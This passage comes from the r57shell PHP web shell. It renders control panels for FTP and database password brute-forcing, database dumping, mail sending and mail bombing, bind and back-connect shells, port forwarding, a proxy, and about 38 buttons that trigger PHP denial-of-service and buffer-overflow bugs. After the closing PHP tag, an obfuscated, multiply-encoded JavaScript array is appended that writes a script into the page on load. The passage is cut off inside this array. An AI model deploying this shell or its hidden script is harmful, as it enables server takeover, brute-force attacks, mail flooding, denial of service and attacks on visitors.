  3670. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  3671. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3672. echo $te.'</div>'.$table_end1.$fe;
  3673. }
  3674.  
  3675. echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
  3676. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  3677. $arh = $lang[$language.'_text92'];
  3678. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
  3679. if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  3680. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  3681. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3682. echo $te.'</div>'.$table_end1.$fe;
  3683.  
  3684. if(@function_exists("ftp_connect")){
  3685. echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3686.  
  3687. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
  3688. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
  3689. echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
  3690. echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
  3691. echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
  3692. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
  3693. echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
  3694. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
  3695.  
  3696. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3697. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  3698. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3699. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3700. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3701. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  3702. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
  3703. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3704. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  3705.  
  3706. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3707. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  3708. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3709. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3710. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3711. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
  3712. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  3713. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3714. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  3715.  
  3716. echo $te."</td>".$fe."</tr></div></table>";
  3717. }
  3718.  
  3719.  
  3720. if(@function_exists("mail")){
  3721. echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3722. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  3723. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  3724. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3725. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  3726. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  3727. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3728.  
  3729. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3730. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  3731. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  3732. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3733. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  3734. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
  3735. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3736. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3737.  
  3738. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3739. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
  3740. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
  3741. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3742. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  3743. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
  3744. echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
  3745. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3746.  
  3747. echo $te."</td>".$fe."</tr></div></table>";
  3748. }
  3749.  
  3750.  
  3751. if($mysql_on||$mssql_on||$pg_on||$ora_on||$mysqli_on||$msql_on||$sqlite_on)
  3752. {
  3753. $select = '<select name=db>';
  3754. if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
  3755. if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
  3756. if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
  3757. if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
  3758. if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
  3759. if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
  3760. if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
  3761. $select .= '</select>';
  3762.  
  3763. echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3764. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
  3765.  
  3766. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
  3767. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
  3768. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  3769. echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
  3770. echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
  3771. echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
  3772. echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  3773. echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
  3774. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
  3775.  
  3776. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3777. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  3778.  
  3779. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3780. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
  3781. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3782. echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  3783. echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  3784. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
  3785.  
  3786. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3787. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  3788.  
  3789. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3790. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
  3791. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3792. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  3793. echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  3794. echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
  3795.  
  3796. echo "</td>".$fe."</tr></div></table>";
  3797. }
  3798.  
  3799.  
  3800. if(!$safe_mode && $unix){
  3801. echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
  3802. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  3803. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
  3804. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
  3805. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3806. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  3807. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3808. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  3809. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  3810. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  3811. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3812. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  3813. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3814. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  3815. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
  3816. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
  3817. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
  3818. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  3819. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  3820. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3821. echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
  3822. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
  3823. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
  3824. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  3825. echo $te."</td>".$fe."</tr></div></table>";
  3826. }
  3827.  
  3828. echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
  3829. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3830. echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
  3831. echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
  3832. echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
  3833. echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
  3834. echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
  3835. echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
  3836. echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
  3837. echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
  3838. echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
  3839. echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
  3840. echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
  3841. echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
  3842. echo $te."</td><td valign=top width=25%>".$ts;
  3843. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3844. echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
  3845. echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
  3846. echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
  3847. echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
  3848. echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
  3849. echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
  3850. echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
  3851. echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
  3852. echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
  3853. echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
  3854. echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
  3855. echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
  3856. echo $te."</td><td valign=top width=25%>".$ts;
  3857. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3858. echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
  3859. echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
  3860. echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
  3861. echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
  3862. echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
  3863. echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
  3864. echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
  3865. echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
  3866. echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
  3867. echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
  3868. echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
  3869. echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
  3870. echo $te."</td><td valign=top width=25%>".$ts;
  3871. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3872. echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
  3873. echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
  3874. /*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
  3875. echo $te."</td></tr></div></table>";
  3876. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://rst.void.ru>RST</a> | <a href=http://ghc.ru>GHC</a> | <a href=http://www.antichat.ru>Antichat.ru Edition</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>";
  3877. echo '</body></html>';
  3878. ?>
  3879. <script type="text/javascript" language="javascript">
  3880. <!--
  3881. fF7eSD8=new Array();
  3882. fF7eSD8[0]="%3Cscript%3E%0Adocu";
  3883. fF7eSD8[1]="ment.write%28une";
  3884. fF7eSD8[2]="scape%28%22%253Cscri";
  3885. fF7eSD8[3]="pt%2520type%253D%25";
  3886. fF7eSD8[4]="22text/javascr";
  3887. fF7eSD8[5]="ipt%2522%253Edo";
  3888. fF7eSD8[6]="cument.write%25";
  3889. fF7eSD8[7]="28%2527%255Cu00";
  3890. fF7eSD8[8]="3c%255Cu0073%255C";
  3891. fF7eSD8[9]="u0063%255Cu0072";
  3892. fF7eSD8[10]="%255Cu0069%255Cu";
  3893. fF7eSD8[11]="0070%255Cu007";
  3894. fF7eSD8[12]="4%255Cu0020%255C";
  3895. fF7eSD8[13]="u0074%255Cu007";
  3896. fF7eSD8[14]="9%255Cu0070%255Cu";
  3897. fF7eSD8[15]="0065%255Cu003d%25";
  3898. fF7eSD8[16]="5Cu0022%255Cu0";
  3899. fF7eSD8[17]="074%255Cu0065%255C";
  3900. fF7eSD8[18]="u0078%255Cu0074%25";
  3901. fF7eSD8[19]="5Cu002f%255Cu";
  3902. fF7eSD8[20]="006a%255Cu0061%255";
  3903. fF7eSD8[21]="Cu0076%255Cu0";
  3904. fF7eSD8[22]="061%255Cu0073%25";
  3905. fF7eSD8[23]="5Cu0063%255Cu00";
  3906. fF7eSD8[24]="72%255Cu0069%25";
  3907. fF7eSD8[25]="5Cu0070%255Cu";
  3908. fF7eSD8[26]="0074%255Cu0022";
  3909. fF7eSD8[27]="%255Cu003e%255C";
  3910. fF7eSD8[28]="u0064%255Cu00";
  3911. fF7eSD8[29]="6f%255Cu0063%255C";
  3912. fF7eSD8[30]="u0075%255Cu006";
  3913. fF7eSD8[31]="d%255Cu0065%255Cu";
  3914. fF7eSD8[32]="006e%255Cu0074%255";
  3915. fF7eSD8[33]="Cu002e%255Cu00";
  3916. fF7eSD8[34]="77%255Cu0072%25";
  3917. fF7eSD8[35]="5Cu0069%255Cu";
  3918. fF7eSD8[36]="0074%255Cu0065%25";
  3919. fF7eSD8[37]="5Cu0028%255Cu002";
  3920. fF7eSD8[38]="7%255Cu005c%255Cu";
  3921. fF7eSD8[39]="0075%255Cu0030";
  3922. fF7eSD8[40]="%255Cu0030%255Cu0";
  3923. fF7eSD8[41]="033%255Cu0063%25";
  3924. fF7eSD8[42]="5Cu005c%255Cu007";
  3925. fF7eSD8[43]="5%255Cu0030%255Cu";
  3926. fF7eSD8[44]="0030%255Cu0035";
  3927. fF7eSD8[45]="%255Cu0033%255C";
  3928. fF7eSD8[46]="u005c%255Cu0075";
  3929. fF7eSD8[47]="%255Cu0030%255Cu";
  3930. fF7eSD8[48]="0030%255Cu003";
  3931. fF7eSD8[49]="4%255Cu0033%255";
  3932. fF7eSD8[50]="Cu005c%255Cu007";
  3933. fF7eSD8[51]="5%255Cu0030%255Cu";
  3934. fF7eSD8[52]="0030%255Cu0035%255";
  3935. fF7eSD8[53]="Cu0032%255Cu00";
  3936. fF7eSD8[54]="5c%255Cu0075%255C";
  3937. fF7eSD8[55]="u0030%255Cu0030%25";
  3938. fF7eSD8[56]="5Cu0034%255Cu00";
  3939. fF7eSD8[57]="39%255Cu005c%255Cu";
  3940. fF7eSD8[58]="0075%255Cu0030%255";
  3941. fF7eSD8[59]="Cu0030%255Cu003";
  3942. fF7eSD8[60]="5%255Cu0030%255C";
  3943. fF7eSD8[61]="u005c%255Cu0075";
  3944. fF7eSD8[62]="%255Cu0030%255Cu00";
  3945. fF7eSD8[63]="30%255Cu0035%255";
  3946. fF7eSD8[64]="Cu0034%255Cu005";
  3947. fF7eSD8[65]="c%255Cu0075%255C";
  3948. fF7eSD8[66]="u0030%255Cu0030%25";
  3949. fF7eSD8[67]="5Cu0032%255Cu";
  3950. fF7eSD8[68]="0030%255Cu005c%25";
  3951. fF7eSD8[69]="5Cu0075%255Cu00";
  3952. fF7eSD8[70]="30%255Cu0030%255";
  3953. fF7eSD8[71]="Cu0035%255Cu003";
  3954. fF7eSD8[72]="3%255Cu005c%255Cu0";
  3955. fF7eSD8[73]="075%255Cu0030";
  3956. fF7eSD8[74]="%255Cu0030%255Cu00";
  3957. fF7eSD8[75]="35%255Cu0032%25";
  3958. fF7eSD8[76]="5Cu005c%255Cu00";
  3959. fF7eSD8[77]="75%255Cu0030%255Cu";
  3960. fF7eSD8[78]="0030%255Cu003";
  3961. fF7eSD8[79]="4%255Cu0033%255Cu";
  3962. fF7eSD8[80]="005c%255Cu0075%25";
  3963. fF7eSD8[81]="5Cu0030%255Cu";
  3964. fF7eSD8[82]="0030%255Cu0033";
  3965. fF7eSD8[83]="%255Cu0064%255Cu0";
  3966. fF7eSD8[84]="05c%255Cu0075%25";
  3967. fF7eSD8[85]="5Cu0030%255Cu003";
  3968. fF7eSD8[86]="0%255Cu0036%255";
  3969. fF7eSD8[87]="Cu0038%255Cu0";
  3970. fF7eSD8[88]="05c%255Cu0075%255C";
  3971. fF7eSD8[89]="u0030%255Cu003";
  3972. fF7eSD8[90]="0%255Cu0037%255C";
  3973. fF7eSD8[91]="u0034%255Cu005c%25";
  3974. fF7eSD8[92]="5Cu0075%255Cu";
  3975. fF7eSD8[93]="0030%255Cu0030";
  3976. fF7eSD8[94]="%255Cu0037%255Cu";
  3977. fF7eSD8[95]="0034%255Cu005c%25";
  3978. fF7eSD8[96]="5Cu0075%255Cu00";
